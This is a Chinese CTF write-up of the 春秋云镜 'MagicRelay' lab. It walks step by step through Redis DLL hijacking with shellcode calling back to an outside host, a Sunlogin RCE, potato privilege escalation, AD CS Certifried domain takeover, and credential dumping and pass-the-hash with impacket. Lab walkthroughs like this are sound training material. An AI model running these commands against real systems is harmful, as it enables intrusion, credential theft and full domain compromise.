渗透
春秋云镜-MagicRelay
flag01
fscan 开梭
1 | fscan -h 39.98.127.172 |
发现有一个redis服务,但是这是个windows靶机,利用条件太苛刻了。参考这篇文章踩坑记录-Redis(Windows)的getshell
通过里面说到的工具进行无损写文件。r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件
那么现在问题就来了,我们该写什么文件呢?没有web服务,且系统版本不对无法利用mof,启动项也不现实。就只能劫持dll了。
参考这篇文章:文章 - Windows Redis DLL劫持在实战中的利用 - 先知社区
先用P4r4d1se/dll_hijack这个项目生成一个dbgmain.dll
vs打开把里面的shellcode改成我们自己的,然后然后选择 Release
x64
生成DLL文件
1 | root@dkhkY7buMr7kYt:~/tools/RedisWriteFile# python3 RedisWriteFile.py --rhost 39.98.127.172 --rport 6379 --lhost 156.238.233.55 --lport 8888 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll' |
成功上线VSHELL,当然,这里也可以上线CS或者msf。看自己习惯用哪个
flag01: flag{58455a83-7516-4a8f-92bf-ca94e7aa33a0}
flag02
扫一下内网
1 | fscan -h 172.22.12.25/24 |
看看内网里有什么
172.22.12.6 DC:WIN-SERVER.xiaorang.lab
172.22.12.12 WIN-AUTHORITY.xiaorang.lab
172.22.12.25 外网
172.22.12.31 WORKGROUP\WIN-IISQE3PC
发现31主机存在ftp匿名访问,并且里面有一个低版本的向日葵安装包。搜索发现正好存在一个rce漏洞Mr-xn/sunlogin_rce: 向日葵 RCE
先扫一下具体端口
1 | xrkRce.exe -h 172.22.12.31 -t scan |
直接读flag了
1 | xrkRce -h 172.22.12.31 -t rce -p 49686 -c "whoami" |
flag02: flag{29a46b72-8a82-182a-45f3-532475ec6fd4}
flag04
发现存在SeImpersonatePrivilege特权,使用烂土豆提权拿到system权限,然后做域信息收集
这里管理员访问不到域
利用烂土豆提权到system,上线VSHELL
现在就可以访问到了
但是用bloodhound没看出什么东西来。回归之前的fscan扫描:
PocScan http://172.22.12.12 poc-yaml-active-directory-certsrv-detect。CVE-2022-26923 (Certifried) 解释
fscan扫描的时候发现CA服务器存在Active Directory 域权限提升漏洞,通过滥用 Active Directory 证书服务 (AD CS) 来请求具有任意攻击者控制的 DNS 主机名的计算机证书,这可以使域中的任何计算机帐户模拟域控制器,从而实现完全的域接管。
先拿到CA名字
抓一个哈希出来
1 | * Username : WIN-YUYAOX9Q$ |
配置一下hosts
1 | 172.22.12.6 WIN-SERVER.xiaorang.lab |
利用这个哈希注册一个机器账号来充当域管
1 | proxychains -q certipy-ad account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f -dc-ip 172.22.12.6 -user citrus -dns WIN-SERVER.xiaorang.lab -debug |
得到citrus$\DMlUxkWbuyfEQ3Rq
1 | proxychains -q certipy-ad find -u 'citrus$@xiaorang.lab' -password 'DMlUxkWbuyfEQ3Rq' -dc-ip 172.22.12.6 -vulnerable -stdout |
然后申请Machine证书(这里可能会超时,得执行两次
1 | proxychains -q certipy-ad req -u 'citrus$@xiaorang.lab' -p 'DMlUxkWbuyfEQ3Rq' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -dc-ip 172.22.12.6 -template 'Machine' -debug |
然后拿域管哈希
1 | proxychains -q certipy-ad auth -pfx win-server.pfx -dc-ip 172.22.12.6 |
报错了
是因为获取的证书没有EKUPass the Certificate | The Hacker Recipes
1 | certipy-ad cert -pfx win-server.pfx -nokey -out win-server.crt |
通过passthecert.py将证书配置到域控的RBCD
1 | proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'citrus$' |
申请一张cifs服务的ST
1 | proxychains -q impacket-getST xiaorang.lab/'citrus$':'DMlUxkWbuyfEQ3Rq' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6 |
导入票据
1 | export KRB5CCNAME=Administrator@cifs_win-server.xiaorang.lab@XIAORANG.LAB.ccache |
打PTT
1 | proxychains -q python3 psexec.py xiaorang.lab/administrator@win-server.xiaorang.lab -k -no-pass -target-ip 172.22.12.6 -codec gbk |
flag04: flag{4c7d6e81-3161-4853-b93f-349ab74a60e5}
flag03
利用ptt转储哈希
1 | proxychains -q python3 secretsdump.py 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k |
有两个管理员,看看哪个是对的
1 | ┌──(root㉿kali)-[~/Desktop/tools/impacket/examples] |
打PTH拿最后的flag
1 | proxychains -q python3 wmiexec.py -hashes :aa95e708a5182931157a526acf769b13 xiaorang.lab/administrator@172.22.12.12 -codec gbk |
flag03: flag{317621a6-bb66-4154-b157-365c871d52d2}
参考文章